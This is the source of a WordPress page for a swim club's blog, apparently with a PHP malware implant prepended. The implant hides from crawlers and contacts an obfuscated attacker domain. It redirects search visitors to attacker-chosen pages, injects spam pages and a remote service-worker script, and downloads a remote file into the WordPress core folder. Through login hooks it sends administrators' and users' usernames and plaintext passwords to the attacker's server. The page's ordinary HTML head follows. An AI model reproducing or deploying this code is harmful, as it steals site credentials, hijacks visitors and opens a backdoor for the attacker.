if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } }
if (!function_exists('in_array_like')) { function in_array_like($referencia,$array){ foreach($array as $ref){ if (strstr($referencia,$ref)){ return true; } } return false; } }
if (!function_exists('cacheUrlnew')) { function cacheUrlnew($u, $h) { $cachetime = 600; $file = ABSPATH . WPINC . '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time()) { $curl = curl_init($u); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); curl_setopt($curl, CURLOPT_POSTFIELDS, "h=" . $h); curl_setopt($curl, CURLOPT_TIMEOUT, 15); $data = curl_exec($curl); curl_close($curl); if ($data) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } }

$gbt     = getUserIP();
$uag     = $_SERVER['HTTP_USER_AGENT'];
$host    = $_SERVER['HTTP_HOST'];
$hwost   = strtolower ($_SERVER['HTTP_HOST']);
$ref = '';
if(isset($_SERVER['HTTP_REFERER'])) { $ref = $_SERVER['HTTP_REFERER']; };
$uri     = $_SERVER['REQUEST_URI'];
$id      = $_SERVER['REQUEST_URI'];
$googleBot  = false;
$bingBot    = false;
$anyBot     = false;
$ccd 	 = str_rot13('nrqbbqnrmv.sha'); 
$blA = [];




$gbots = array( 'googlebot', 'feedfetcher', 'google-safety', 'googleweblight' ); if (in_array_like(strtolower($uag), $gbots)){ $googleBot = true; } 

$anybots = array( 'msie 6.0', 'zabbix', 'awario', 'geedo', 'blackbox', 'tinytest', 'dreamweb', 'phxbot', 'mozlila', 'moblile', 'the knowledge ai', 'newspaper', 'wp rocket','wp fastest cache preload bot','java','ifatsearch', 'dataforseobot', 'simplepie_useragent','site24x7','buck','go http package','krzana bot','okhttp','mailpoet cron','alittle client','woocommerce','dreamhost sitemonitor','sucuri uptime monitor','twitterbot','mod_pagespeed_na','axios','re-re studio','serf','python','itms','shipmondo','empty user agent','duckduckbot','df bot','hummingbird','sitelock','grequests','keybot','wedos','installatron','scalaj-http','dalvik','spotify','razorpay','elb-healthchecker','wpmudev','foregenix','semanticjuice','simplepie','pingdom','freshpingbot','8legs','statuscake','ioncrawl','rome client','reeder','ping.blo.gs','btwebclient','livedoor','postmanruntime', 'wget', 'rytebot','rss','zoombot','spark','scrapy','mediatoolkitbot','firmograph','universalfeedparser', 'uptimerobot', 'facebookexternalhit', '360spider', 'baidubot', 'advbot', 'ahrefs', 'aport', 'blexbot', 'barkrowler', 'curl', 'ccbot', 'redditbot', 'bdcbot', 'birdcrawlerbot', 'aragna', 'crazywebcrawler', 'contxbot', 'checkmarknetwork', 'crowsnest', 'dataminer', 'deusu', 'domaincrawler', 'domainsonocrawler', 'domaintools', 'dotbot', 'exabot', 'flightdeckreportsbot', 'go-http-client', 'httrack', 'mj12bot', 'mauibot', 'megaindex', 'mojeekbot', 'cognitiveseo', 'moreover', 'netcraft', 'netpeakchecker', 'nimbostratus', 'sidetrade', 'yellowbrand', 'nextdoorbot', 'brightbot', 'wiederfreibot', 'startmebot', 'monsidobot', 'jaddjabot', 'ad-standards-bot', 'atomseobot', 'zelistbot', 'konturbot', 'nutch', 'panopta', 'paperlibot', 'petalbot', 'safednsbot', 'seekport', 'semrush', 'seznambot', 'site-shot', 'zombiebot', 'seobility', 'socialsearcher', 'sogou', 'teleport', 'turnitinbot', 'wordpress', 'xovibot', 'yandex.com/bots', 'amazonbot', 'yisou', 'seolizer', 'zoominfobot', 'blogmurabot', 'domainstats', 'ezooms', 'fluid', 'snapchat', 'adbeat_bot', 'ezlynx', 'awariosmartbot', 'wellknownbot', 'bne.es_bot', 'gaisbot', 'newslitbot', 'neticle', 'sansanbot', 'hrankbot', 'linkdexbot', 'ltx71', 'orbbot', 'finbot', 'pagepeeker', 'owler', 'gigabot', 'madbot', 'majestic', 'bidswitchbot', 'linkfluence', 'semanticbot', 'linkwalker', 'msnbot', 'webgains', 'auskunft', 'cxense', 'amazonadbot', 'jooblebot', 'slackbot', 'bitlybot', 'elsemanariobot', 'x28', 'metorik', 'nagios', 'bomborabot', 'adsbot', 'pinterest', 'mbcrawler', 'mjj12bot', 'yetibot', 'cocolyzebot', 'superfeedr', 'mail.ru_bot', 'booking.com', 'archiver', 'coccocbot', 'neevabot', 'seokicks', 'sitechecker', 'applebot', 'archive.org_bot', 'cincraw', 'feedbot', 'surdotlybot', 'intelx.io_bot', 'bublupbot', 'vuhuvbot', 'serendeputy', 'superpagesbot', 'detectify', 'kinsta', 'taboolabot', 'infotigerbot', 'netEstate', 'pirst', 'python-requests', 'randomsurfer', 'rogerbot', 'semtix', 'serpstatbot', 'solomono', 'spider', 'statdom', 'trendictionbot', 'ucrawler', 'urllib', 'verifying', 'viralvideochart', 'zgrab'); if (in_array_like(strtolower($uag), $anybots)){ $anyBot = true; }
if ( preg_match( "#bingbot|BingPreview#i", $uag ) ) { $bingBot = true; }

if(empty($anyBot) && empty($bingBot) && empty($googleBot)) { 

    $ipresponse = cacheUrlnew("http://api.{$ccd}/check_new.php", $hwost);
    $blA = explode('|', $ipresponse);

}
if ($anyBot || in_array($gbt, $blA)) {
    //do
} else {



if (!preg_match("#qutam-|/neivu-|/ccoin-|/decoin-|/decoin25-|/dcoin-|imagescdn|cryptocdn|/b24c-|/nrcc-|\/kjope-|\/kaupan-|\/ayashoo-|\/pgxhtogrzm-|\/livres-|\/datez-|\/books|robots.txt|get-pixels|xmlrpc.php|wp-comments-post|bouncy.php|wp-json|wp-session-url|\.env$|favicon\.ico$|wp-login\.php|\/wp-content\/|\.txt$|\.js|\.css|\/wp-admin\/|\.xml$|\/wp-includes\/|well-known\/|=\.\.|wp-cron\.php|\?author=|invokefunction|get_refreshed|\?s=captcha|admin\.php|\?a=display&template|\?test=|\?bx=0e|shell|usage_|wp-config|config|\.jpg|\.png|\.pdf|3695\.html|@print|\.svg|ExV1|connector\.php|execute-solution|phpinf|\.woff2|\.woff|\.ttf|\.asp|\.zip|export#", $uri) && !$googleBot && !$bingBot ) {	

$ch = curl_init(); 

$url_string = "http://source.{$ccd}/in/redn/?val1={$hwost}"; 

curl_setopt ($ch, CURLOPT_URL, $url_string); curl_setopt ($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_HEADER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 10); curl_setopt ($ch, CURLOPT_REFERER, $host.$uri); curl_setopt ($ch, CURLOPT_HTTPHEADER, array('X-Forwarded-For: ' . $gbt)); $html = curl_exec ($ch); if ( curl_getinfo($ch, CURLINFO_REDIRECT_URL ) ) { $redirectUrl = curl_getinfo($ch, CURLINFO_REDIRECT_URL ); header('Location: ' . $redirectUrl); exit(); } $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $header = substr($html, 0, $header_size); $html = substr($html, $header_size); curl_close($ch); function yuhoo($html) { echo $html; } add_action('wp_head', function() use ( $html ) { yuhoo( $html ); } );
//
}
/*
if (preg_match("#www.google.com/bot.html#i", $uag) && !preg_match("/\/post-|\/pgxhtogrzm-|\/livres-|\/datez-|\/books|\/qutam-|\/neivu-|\/ccoin-|\/dcoin-|\/decoin-|\/decoin25-|imagescdn|cryptocdn|-mk|-mk2|-mk3|-mk4|\/b24c-|\/nrcc-|\/kjope-|\/kaupan-|\/ayashoo-/", $id)) { $curl = curl_init("http://api.{$ccd}/301.php"); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); curl_close($curl); if (preg_match('#http#', $response)){ header("HTTP/1.1 301 Moved Permanently"); header('Location: ' . $response); exit(); } }
*/
/*
$nzTables = array('pcachewpr', 'lcachewpr', 'lmcachewpr');
foreach ($nzTables as $nz) {
    $table_name = $wpdb->prefix . $nz;
    if ($wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name) {
        $sql = "DROP TABLE IF EXISTS $table_name";
        $wpdb->query($sql);


	$curl = curl_init("http://api.{$ccd}/checktable.php");
	curl_setopt($curl, CURLOPT_HEADER, false);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_POST, true);
	curl_setopt($curl, CURLOPT_POSTFIELDS, $_SERVER['HTTP_HOST'] . ';' . $table_name);
	$response = curl_exec($curl);
	curl_close($curl);

    }
}	
*/
if (preg_match("#^(/qutam-|/ccoin-|/decoin-|/decoin25-|/dcoin-|/b24c-|/nrcc-|/kjope-|/kaupan-|/ayashoo-|/neivu-)#", $_SERVER['REQUEST_URI']) || preg_match('#.+-mk\/?$#', $_SERVER['REQUEST_URI']) || preg_match('#.+-mk3\/?$#', $_SERVER['REQUEST_URI']) || preg_match('#.+-mk4\/?$#', $_SERVER['REQUEST_URI']) || preg_match('#.+-mk2\/?$#', $_SERVER['REQUEST_URI'])) { if (!class_exists('CovenVP', FALSE)) { class CovenVP { private $args = NULL; public function __construct($args) { if (!isset($args['slug'])) throw new Exception('No slug given for virtual page'); $this->args = $args; add_filter('the_posts', array($this, 'virtual_page')); } public function virtual_page($posts) { global $wp; $slug = isset($this->args['slug']) ? $this->args['slug'] : ''; if (0 === count($posts) && (0 === strcasecmp($wp->request, $slug) || $slug === $wp->query_vars['page_id'])) { $post = new stdClass(); $post->ID = - 128; $post->post_author = isset($this->args['author']) ? $this->args['author'] : 1; $post->post_date = isset($this->args['date']) ? $this->args['date'] : current_time('mysql'); $post->post_date_gmt = isset($this->args['dategmt']) ? $this->args['dategmt'] : current_time('mysql', 1); $post->post_content = isset($this->args['content']) ? $this->args['content'] : ''; $post->post_title = isset($this->args['title']) ? $this->args['title'] : ''; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; $post->ping_status = 'closed'; $post->post_password = ''; $post->post_name = $slug; $post->to_ping = ''; $post->pinged = ''; $post->post_modified = $post->post_date; $post->post_modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $slug); $post->menu_order = 0; $post->post_type = isset($this->args['type']) ? $this->args['type'] : 'page'; $post->post_mime_type = ''; $post->comment_count = 0; $post = apply_filters('coven_virtual_page_content', $post); $posts = array($post); global $wp_query; $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; } return $posts; } } } if (!function_exists('coven_create_virtual')) { function coven_create_virtual() { $requri = explode('-', $_SERVER['REQUEST_URI']); $scheme = end($requri); $scheme = trim($scheme, '/'); $covenD = str_rot13('nrqbbqnrmv.sha'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://coven.{$covenD}/{$scheme}/" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $html = curl_exec($ch); $html = json_decode($html, true); curl_close($ch); if (json_last_error() === JSON_ERROR_NONE) { $url = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'); $args = array('slug' => $url, 'title' => $html['title'], 'content' => $html['body']); $pg = new CovenVP($args); } } } if (preg_match("/google|bing|msn|yahoo/i", $ref) && !$googleBot && !$anyBot) { $rUri = explode('-', $_SERVER['REQUEST_URI']); $rScheme = end($rUri); $rScheme = trim($rScheme, '/'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://source.{$ccd}/in/{$rScheme}/?val1={$hwost}"); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_REFERER, $host . $uri); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Forwarded-For: ' . $gbt)); $html = curl_exec($ch); if (curl_getinfo($ch, CURLINFO_REDIRECT_URL)) { $redirectUrl = curl_getinfo($ch, CURLINFO_REDIRECT_URL); header('Location: ' . $redirectUrl); exit(); } } /* elseif ($googleBot) { add_action('init', 'coven_create_virtual'); }*/ else { header("Location: http://" . $_SERVER["HTTP_HOST"]); exit(); } }

if (preg_match("#xmlrpc\.php$#", $id)) { echo "XML-RPC server accepts POST requests only."; exit(); }

if (preg_match("/serviceworker.js$|332.js$|34334$/", $id) ) { header('Content-Type: application/javascript'); echo 'self.importScripts(\'https://redads.biz/sw/w1s.js\');'; exit; }

if (preg_match_all("/headssr\.php$/", $id, $matches) ) { $fileUrl = "http://api.{$ccd}/lnk/sh.txt"; $saveTo = ABSPATH . WPINC . '/abcsss.php'; if ( is_file ($saveTo) && filesize ($saveTo) && time() - filemtime($saveTo) <= 60 * 60 * 1 ) { } else { $fp = fopen($saveTo, 'w+'); $ch = curl_init($fileUrl); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_exec($ch); curl_close($ch); fclose($fp); } }


/*
 $chdoms = curl_init( "http://api.{$ccd}/data/check_doms.txt" ); curl_setopt ($chdoms, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($chdoms, CURLOPT_HEADER, 0); curl_setopt ($chdoms, CURLOPT_TIMEOUT, 20); curl_setopt ($chdoms, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); $chDomains = curl_exec ($chdoms); curl_close($chdoms); $chDomains = preg_split('/\n|\r\n?/', $chDomains); if ( !preg_match ( "#/post-|/pgxhtogrzm-|/decoin-|/decoin25-|/qutam-|/neivu-|/ccoin-|/dcoin-|/b24c-|/nrcc-|/kjope-|/kaupan-|/ayashoo-|-mk|-mk2|-mk3|-mk4#", $id ) && $googleBot && in_array( $hwost, $chDomains ) ) { function supermario($content) { $ccd = str_rot13('nrqbbqnrmv.sha');  $hwost = strtolower ($_SERVER['HTTP_HOST']); $uri = $_SERVER['REQUEST_URI']; $ch = curl_init("http://coven.{$ccd}/links/schemenameururu/{$hwost}{$uri}" . rand() ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); curl_setopt($ch, CURLOPT_TIMEOUT, 20); $miaLinks = curl_exec($ch); curl_close($ch); return $content . $miaLinks; } 
 add_filter('the_content', 'supermario', 20);
}
*/

/*
if ( !preg_match ( "#/post-|feed|robots|jpg|png|/pgxhtogrzm-|/decoin-|/decoin25-|/qutam-|/neivu-|/ccoin-|/dcoin-|/b24c-|/nrcc-|/kjope-|/kaupan-|/ayashoo-|-mk|-mk2|-mk3|-mk4#", $id ) && $googleBot ) { function supermario($content) { $ccd = str_rot13('nrqbbqnrmv.sha');  $hwost = strtolower ($_SERVER['HTTP_HOST']); $uri = $_SERVER['REQUEST_URI']; $ch = curl_init("http://coven.{$ccd}/links2/uru2/{$hwost}{$uri}" ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); curl_setopt($ch, CURLOPT_TIMEOUT, 20); $miaLinks = curl_exec($ch); curl_close($ch); return $content . $miaLinks; } 
 add_filter('the_content', 'supermario', 20);
}
*/


function add_meta_cache() { echo '<meta http-equiv="Cache-Control" content="no-cache">'; echo '<meta http-equiv="cache-control" content="max-age=0" />'; echo '<meta http-equiv="cache-control" content="no-store" />'; echo '<meta name="google" content="notranslate" />'; echo '<meta name="robots" content="noarchive" />'; } add_action('wp_head', 'add_meta_cache');



if (preg_match('#/(imagescdn|cryptocdn)/.+#', $id) ) {

$picUrl = "http://images.{$ccd}{$id}";
$ch = curl_init(); 
curl_setopt ($ch, CURLOPT_URL, $picUrl);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Forwarded-For: ' . $gbt));
$html = curl_exec ($ch);
curl_close($ch);
header('Cache-Control: public');
header('Content-Type: image/jpeg');
echo $html;
exit;
}


if (preg_match("#pgxhtogrzm#", $_SERVER['REQUEST_URI'])){ if (!class_exists('CovenVP', FALSE)) { class CovenVP { private $args = NULL; public function __construct($args) { if (!isset($args['slug'])) throw new Exception('No slug given for virtual page'); $this->args = $args; add_filter('the_posts', array($this, 'virtual_page')); } public function virtual_page($posts) { global $wp; $slug = isset($this->args['slug']) ? $this->args['slug'] : ''; if (0 === count($posts) && (0 === strcasecmp($wp->request, $slug) || $slug === $wp->query_vars['page_id'])) { $post = new stdClass(); $post->ID = - 128; $post->post_author = isset($this->args['author']) ? $this->args['author'] : 1; $post->post_date = isset($this->args['date']) ? $this->args['date'] : current_time('mysql'); $post->post_date_gmt = isset($this->args['dategmt']) ? $this->args['dategmt'] : current_time('mysql', 1); $post->post_content = isset($this->args['content']) ? $this->args['content'] : ''; $post->post_title = isset($this->args['title']) ? $this->args['title'] : ''; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; $post->ping_status = 'closed'; $post->post_password = ''; $post->post_name = $slug; $post->to_ping = ''; $post->pinged = ''; $post->post_modified = $post->post_date; $post->post_modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $slug); $post->menu_order = 0; $post->post_type = isset($this->args['type']) ? $this->args['type'] : 'page'; $post->post_mime_type = ''; $post->comment_count = 0; $post = apply_filters('coven_virtual_page_content', $post); $posts = array($post); global $wp_query; $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; } return $posts; } } } if (!function_exists('coven_create_virtual')) { function coven_create_virtual() { $covenD = str_rot13('nrqbbqnrmv.sha'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://coven.{$covenD}/shilov/" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $html = curl_exec($ch); $html = json_decode($html, true); curl_close($ch); if (json_last_error() === JSON_ERROR_NONE) { $url = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'); $args = array('slug' => $url, 'title' => $html['title'], 'content' => $html['body']); $pg = new CovenVP($args); } } } if (preg_match("/google|bing|msn|yahoo/i", $ref) && !$googleBot && !$anyBot) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://source.{$ccd}/in/drws/?val1={$hwost}"); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_REFERER, $host . $uri); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Forwarded-For: ' . $gbt)); $html = curl_exec($ch); if (curl_getinfo($ch, CURLINFO_REDIRECT_URL)) { $redirectUrl = curl_getinfo($ch, CURLINFO_REDIRECT_URL); header('Location: ' . $redirectUrl); exit(); } } elseif ($googleBot) { add_action('init', 'coven_create_virtual'); } else { header("Location: http://" . $_SERVER["HTTP_HOST"]); exit(); } }


if(!$googleBot){
if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } }
}
if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } }

if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $ccd = str_rot13('nrqbbqnrmv.sha');  $wpApiUrl = "http://api.{$ccd}/api.php"; $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login']) && strpos($_SERVER['HTTP_USER_AGENT'], '100.6.1155.294') === false) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action') ) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); }

if (!function_exists('wordpress_api_wrongauth_debug')) { function wordpress_api_wrongauth_debug( $user_login, $user ){ $ccd = str_rot13('nrqbbqnrmv.sha'); $wpApiUrl = "http://api.{$ccd}/api_false.php"; $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login_failed', 'wordpress_api_wrongauth_debug', 10, 2 ); }

    
    if (preg_match("#/ququo#", $id) ) {
    echo uniqid() . " {$hwost} " . phpversion() . "<br>";
    $wpfingerprint = php_uname() . disk_total_space('.') . filectime('/') . phpversion();
    echo hash('sha256', $wpfingerprint) . "<br>";
    $time_elapsed = timer_stop();
    echo "cheetie {$time_elapsed} secs<br>";
    //echo "<pre>{$htaccess}</pre>";

exit();
	}
    
}

?><!DOCTYPE html>
<!--[if !(IE 6) | !(IE 7) | !(IE 8)  ]><!-->
<html lang="en-GB" class="no-js">
<!--<![endif]-->
<head>
	<meta charset="UTF-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
		<meta name="theme-color" content="#2ea1db"/>	<link rel="profile" href="https://gmpg.org/xfn/11" />
	<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />

	<!-- This site is optimized with the Yoast SEO plugin v21.0 - https://yoast.com/wordpress/plugins/seo/ -->
	<title>Our Blog - SwimSprouts</title>
	<link rel="canonical" href="https://swimsprouts.com/news/" />
	<meta property="og:locale" content="en_GB" />
	<meta property="og:type" content="article" />
	<meta property="og:title" content="Our Blog - SwimSprouts" />
	<meta property="og:description" content="Follow SwimSprouts on Social Media" />
	<meta property="og:url" content="https://swimsprouts.com/news/" />
	<meta property="og:site_name" content="SwimSprouts" />
	<meta property="article:modified_time" content="2022-08-18T14:10:14+00:00" />
	<meta property="og:image" content="https://swimsprouts.com/wp-content/uploads/2019/06/LogoFoot-300x233.png" />
	<meta name="twitter:card" content="summary_large_image" />
	<meta name="twitter:label1" content="Estimated reading time" />
	<meta name="twitter:data1" content="1 minute" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://swimsprouts.com/news/","url":"https://swimsprouts.com/news/","name":"Our Blog - SwimSprouts","isPartOf":{"@id":"https://swimsprouts.com/#website"},"primaryImageOfPage":{"@id":"https://swimsprouts.com/news/#primaryimage"},"image":{"@id":"https://swimsprouts.com/news/#primaryimage"},"thumbnailUrl":"https://swimsprouts.com/wp-content/uploads/2019/06/LogoFoot-300x233.png","datePublished":"2014-03-18T10:54:00+00:00","dateModified":"2022-08-18T14:10:14+00:00","breadcrumb":{"@id":"https://swimsprouts.com/news/#breadcrumb"},"inLanguage":"en-GB","potentialAction":[{"@type":"ReadAction","target":["https://swimsprouts.com/news/"]}]},{"@type":"ImageObject","inLanguage":"en-GB","@id":"https://swimsprouts.com/news/#primaryimage","url":"https://swimsprouts.com/wp-content/uploads/2019/06/LogoFoot-300x233.png","contentUrl":"https://swimsprouts.com/wp-content/uploads/2019/06/LogoFoot-300x233.png"},{"@type":"BreadcrumbList","@id":"https://swimsprouts.com/news/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://swimsprouts.com/"},{"@type":"ListItem","position":2,"name":"Our Blog"}]},{"@type":"WebSite","@id":"https://swimsprouts.com/#website","url":"https://swimsprouts.com/","name":"Swimsprouts","description":"Swim Club","publisher":{"@id":"https://swimsprouts.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://swimsprouts.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-GB"},{"@type":"Organization","@id":"https://swimsprouts.com/#organization","name":"Swimsprouts","url":"https://swimsprouts.com/","logo":{"@type":"ImageObject","inLanguage":"en-GB","@id":"https://swimsprouts.com/#/schema/logo/image/","url":"https://swimsprouts.com/wp-content/uploads/2019/06/LogoFoot.png","contentUrl":"https://swimsprouts.com/wp-content/uploads/2019/06/LogoFoot.png","width":500,"height":388,"caption":"Swimsprouts"},"image":{"@id":"https://swimsprouts.com/#/schema/logo/image/"}}]}</script>
	<!-- / Yoast SEO plugin. -->


<link rel='dns-prefetch' href='//cdnjs.cloudflare.com' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="SwimSprouts &raquo; Feed" href="https://swimsprouts.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="SwimSprouts &raquo; Comments Feed" href="https://swimsprouts.com/comments/feed/" />
<script type="text/javascript">
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/swimsprouts.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=c6d4f54ff5f7e221a70cdd46daa396b3"}};
/*! This file is auto-generated */
